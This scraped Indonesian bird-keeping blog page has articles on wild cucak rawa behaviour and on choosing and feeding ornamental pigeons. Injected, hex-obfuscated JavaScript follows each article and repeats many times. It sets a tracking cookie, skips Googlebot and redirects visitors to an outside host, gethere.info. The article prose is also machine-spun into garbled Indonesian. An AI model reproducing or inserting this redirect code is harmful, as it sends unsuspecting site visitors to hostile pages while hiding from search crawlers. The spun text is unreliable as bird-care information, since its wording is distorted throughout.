IBX5980432E7F390 Kehidupan Cucak Rawa di Hutan Liar Kupas Triknya - Kicauan Burung Lovebird Ngekek

Kehidupan Cucak Rawa di Hutan Liar Kupas Triknya

Kehidupan Cucak Rawa di Hutan Liar

Kehidupan cucak rawa di hutan liar – Alam merupakan tempat tinggal burung cucakrawa yang bekerjsama. Disnilah ia menjalani kehidupannya sehari-hari.

Tidak seolah-olah di penangkaran, tempat tinggal burung cucakrawa selalu berpindah-pindah. Tidak hanya disatu tempat saja. Burung cucakrawa paling sering tinggal di pohon-pohon yang besar dan mempunyai ranting.

Pohon yang ditempati oleh cucakrawa bukanlah pohon yang sembarangan. Bagi cucakrawa, pohon yang baik adalah pohon yang bisa buat ia berteduh dari panas dan hujan. Di pohon juga burung akan berkembang biak.Kehidupan Cucak Rawa di Hutan Liar

Burung cucakrawa menyukai tempat yang rendah ataupun sempurna yang sejuk contohnya daerah perbukitan. Di Indonesia sendiri, penyebaran burung cucakrawa sudah menyebar di beberapa daerah.

Contohnya yaitu daerah Jawa, Sumatra, dan Kalimantan. Di daerah tersebutlah burung cucakrawa tinggal dan menetap.

Cucakrawa banyak hidup di daerah hutan belukar. Jika ia merasa nyawanya terancam maka beliau akan pindah ke hutan lainnya. Di alam bebas bukanlah tempat yang kondusif bagi cucakrawa.

Pasti ada hewan penangganggu yang akan mengusik hidupnya. Tidak seolah-olah di penangkaran yang hidupnya selalu aman tanpa ada binatang pengganggu.

Selain binatang pengganggu, kehidupan cucakrawa di alam bebas akan selalu diincar oleh pemburu yang tidak bertanggung jawab. Bagi burung yang cendekia, ia akan terbebas dari binatang pengganggu dan pemburu.

Tetapi, bila burung cucakrawa tidak pintar maka dia akan dimakan oleh hewan pengganggu dan pemburu. Biasanya, bila cucakrawa merasa hidupnya terganggung maka beliau akan bersembunyi di balik dedaunan.

Selain hidup di pepohonan, di alam liar burung ini juga hidup di tempat rawa-rawa ataupun sungai. Mengapa burung cucakrawa hidup di daerah sungai ataupun rawa-rawa? Karena, cucakrawa liar sangat menyukai dengan air.

Jadi, di sungai ini beliau akan bermain air. Biasanya, cucakrawa akan bermain air pada pagi. Mengapa pada pagi hari? Karena cucakrawa menyukai berjemur di bawah sinar matahari.

Kegemaran cucakrawa adalah hidup dalam berkelompok bukan sendiri. Pada pagi hari mereka akan mandi dan berkicau bersamaan. Mereka juga berjemur tolong-menolong.

Pada dikala animo kawin, cucakrawa akan menciptakan sarang dii atas ranting pohon. Cucakrawa selalu membuat sarang bersama-sama.

Tidak pernah mereka menciptakan sendirian. Setelah sarang tamat, barulah cucakrawa betina bertelur dan mengerami telurnya hignga menetas.

Kemudian indukan cucakrawa akan merawat anakannya secara bantu-membantu hingga anakan cucakrawa sanggup terbang dan hidup secara mampu berdiri diatas kaki sendiri.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)em(l2)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)wg)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan suara murai kerikil medan gacor

Wajib Penting Di baca

  • Jenis Spesies Burung Cucakrawa Berkualitas
  • Habitat Penyebaran Burung Cucakrawa
  • Cara Menjinakan Burung Cucakrawa liar
  • Merawat Harian Cucakrawa Anakan Dewasa
  • Habitat Kehidupan Burung Cucakrawa Liar Hutan
  • Ukuran Kandang Penangkaran Cucakrawa
  • Pembesaran Dan Perawatan Anakan Cucakrawa
  • Tingkatan dan Kualitas Suara Cucakrawa
  • Perawatan Harian Cucakrawa Supaya Gacor
  • Kehidupan Burung Murai Batu di Alam Liar
  • Perawatan Cucak Jenggot Bakalan,Anakan dan Dewasa

Cara Merawat Bibit Burung Merpati Hias

Cara merawat bibit burung merpati hias – Dalam memelihara burung merpati hias setiap penangkar pasti berbeda-beda. Ada yang menginginkan menangkarkan burung merpati hias yang masih murni dan ada yang menginginkan menangkarkna burung merpati hias yang bukan murni lagi. Berikut akan dijelaskan mengenai merpati hias yang murni saja.

Merpati Hias Murni dan silangan

Apa yang dimaksud dengan merpati hais murni? Merpati hias murni adalah merpati hias yang masih murni keturunan dari suatu jenis merpati. Jadi, burung merpati hias tersebut berasal dari suatu jenis merpati hias tertentu dan tidak ada keturunanya dengan merpati hias jenis lainnya.Cara Merawat Bibit Burung Merpati Hias

Jika seseorang menginginkan merpati hias yang masih murni, maka dalam meilihnya harus benar-benar dengan teliti. Sebab, di pasaran kini burung merpati hias yang sudah tidak murni lagi digabungkan dengan merpati hias yang masih murni.

Jika kita bertanya dengan penjualnya niscaya dia menjawab bahwa merpati tersebut masih murni. Padahal kenyataanya merpati tersebut bukanlah merpati murni.

Apabila kita menginginkan merpati hias murni tapi kenyataanya terbeli merpati hias yang sudah tidak murni lagi, merstinya akan menciptakan kita kecewa.

Terlebih lagi jika harga jualnya sangat tinggi. Harga burung merpati hias murni tidaklah murni. Satu pasang burung merpati hias saja dihargai dari yang ratusan ribu hingga yang puluhan juta rupiah. Harga yang fantastis bukan?

Sebaiknya, membeli burung merpati hias murni di penangkarnya pribadi. Jika di penangkarnya secara pribadi kita mampu memilih burung merpati hias murni secaara eksklusif dan tanpa ada kesalahan dalam memilih. Di penangkaran kita juga mampu bertanya kepada penangkarnya secara eksklusif.

Jika kita membeli burung merpati hias murni tujuannya untuk mengembangbiakannya dan menjualnya kembali. Tentunya kita akan mengawinkan burung ini kembali. Mengawinkan burung merpati hias murni harus dengan kehati-hatian. Jangan sampai kita salah dalam mengawinkannya.

Yang hukum kita mengawinkan burung merpati hias murni dengan burung merpati hias murni juga, akibatnya kita mengawinkan merpati hias murni dengan merpati jenis lainnya.

Jika indukannya merpati hias murni, pastinya anakan yang dihasilkan akan menjadi merpati hias murni juga. Tetapi, bila merpati hias murni dikawinkan dengan merpati hias jenis lainnya, anakannya tidak akan menjadi merpati hias murni.

Pasti itu akan membuat kita kecewa jikalau kita menginginkan perkawinan yang dilakukan oleh merpati kita merupakan perkawinan sendiri (satu keluarga).var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)u))(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)mwbp)(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan suara murai kerikil medan gacor

Wajib Penting Di baca

  • Pakan Kusus Burung Merpati Hias
  • Melatih Merpati Menjelang Lomba
  • Membuat Kandang Ideal Untuk Merpati Pos
  • Cara Mengawinkan Merpati yang Baik
  • Cara Merawat Anakan Merpati Sampai Dewasa
  • Mata Merpati Paling Bagus Untuk Lomba
  • Jenis-jenis Penyakit Pada Burung Merpati
  • Cara Beternak Merpati Pedaging Pemula
  • Cara Melatih Burung Merpati Muda
  • Teknik Menjodohkan Merpati Secara Cepat
  • Persiapan Merpati Sebelum Masuk Lomba

Pakan Kusus Burung Merpati Hias

Pakan kusus burung merpati hias – Makanan burung hias sama seakan-akan burung pada umumnya. Tidak ada yang berbeda dalam hal menyampaikan makanan burung hias dengan burung pada umumnya.

Pakan burung merpati hias adalah jenis biji-bijian. Biji-bijian apapun bsia diberikan kepada merpati hias. Yang terpenting yaitu merpati hias mau memakan biji-bijian tersebut.

Tidak perlu menyampaikan pakan yang bergizi tinggi kepada burung merpati hias. Sebab, burung merpati hias bukanlah burung yang dipertandingkan.Pakan Kusus Burung Merpati Hias

Berbeda dengan urung merpati pos. Merpati pos memerlukan pakan yang berkualitas tinggi. Gunanya yaitu untuk menciptakan burung merpati pos sanggup terbang dengan cepat tanpa ada hambatan apapun. Berbeda halnya dengan burung merpati hais yang hanya digunakan untuk menghiasi rumah saja.

Burung merpati hias akan melewati satu fase dimana burung lainnya juga akan melewatinya. Fase tersebut yaitu fase ganti bulu.

Pada saat ganti bulu burung merpati hias keadaan tubuhnya akan melemah. Burung merpati hias juga akan diam saja. Berbeda dengan burung pada umumnya yang selalu lincah bergerak kesana kemari.

Sebagai seorang penangkar yang baik, kita tentunya harus tau dikala burung merpati sedang ganti bulu. Sebenarnya fase ganti bulu ini tidak besar lengan berkuasa pada burung jikalau ditangani dengan cepat.

Akan tetapi, jikalau tidak ditangani dengan cepat maka bisa saja fase ganti bulu akan membaut musibah bagi si burung tersebut.

Burung yang sedang mengalami ganti bulu memerlukan kuliner bergizi. Makanan yang bergizi itu sendiri berfungsi untuk memulihkan kembali bulu yang telah rontok.

Dengan diberikakn kuliner yang bergizi juga akan membantu memulihkan keadaan fisik si burung itu sendiri. Selain diberikan kuliner yang bergizi, pertolongan multivitamin perlu dilakukan.

Apa tujuan santunan multivitamin? Tujuan perlindungan multivitamin adalah biar bulu yang tumbuh akan mengeluarkan bulu yang lebih indah daripada bulu yang telah rontok.

Dengan begitu, burung merpati hias makin diminati oleh masyarakat karena bulunya yang indah. Jika sudah begitu, harga jualnyapun akan semakin mahal.  Multivitamin bisa dibeli di pasar burung ataupun di toko peralatan burung terdekat. Harganya pun tidak terlalu mahal.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)ro(ve)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan suara murai watu medan gacor

Wajib Penting Di baca

  • Membuat Kandang Ideal Untuk Merpati Pos
  • Cara Merawat Anakan Merpati Sampai Dewasa
  • Cara Merawat Bibit Burung Merpati Hias
  • Pakan Spesial Untuk Burung Merpati Pos
  • Kontruksi Kandang Burung Merpati Pos
  • Ciri Burung Merpati Hias Dan Cara Perawatan
  • Perawatan Merpati Mabung Ganti Bulu
  • Memelihara Kesehatan Burung Merpati Dewasa
  • Pemilihan Bakalan Cucakrawa Berkualitas Unggul
  • Merpati Pos Dan Asal-usulnya
  • Memilih Bibit Anakan Merpati Pos Berkualitas

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Kehidupan Cucak Rawa di Hutan Liar Kupas Triknya"

Posting Komentar